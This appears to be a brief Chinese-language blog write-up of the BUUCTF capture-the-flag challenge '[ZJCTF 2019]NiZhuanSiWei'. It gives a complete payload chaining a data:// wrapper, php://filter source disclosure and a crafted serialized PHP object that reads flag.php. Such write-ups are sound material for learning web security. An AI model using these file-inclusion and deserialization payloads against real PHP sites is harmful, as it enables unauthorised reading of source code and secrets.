BUUCTF-[ZJCTF 2019]NiZhuanSiWei

总结一下解题过程:

  1. ?text=XXX, 这个太简单了, 不用记
  2. ?file=XXXXuseless.php 老办法, 用base64编码的方式读到源码内容, 发现是flag类
  3. ?password=flag对象的序列化内容, 虽然类没有写构造函数, 但是可以手动的指定对象的file属性的值为:php://filter/convert.base64-encode/resource=flag.php, 到时候反序列化是一样生效的
  4. payload:?text=data://text/plain,welcome%20to%20the%20zjctf&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}&file=useless.php

?text通过if判断进行条件分支内部, ?file包含useless.php文件, 为后续的反序列化攻击提供原材料, password构造一个序列化对象, 当代码尝试echo 对象的时候, 触发__tostring函数, 函数执行file_get_contents函数, 该函数照样支持php伪协议, 就这样, flag成功了的拿到了

posted on 2025-12-21 00:30  misaki%20mei  阅读(0)  评论(0)    收藏  举报

导航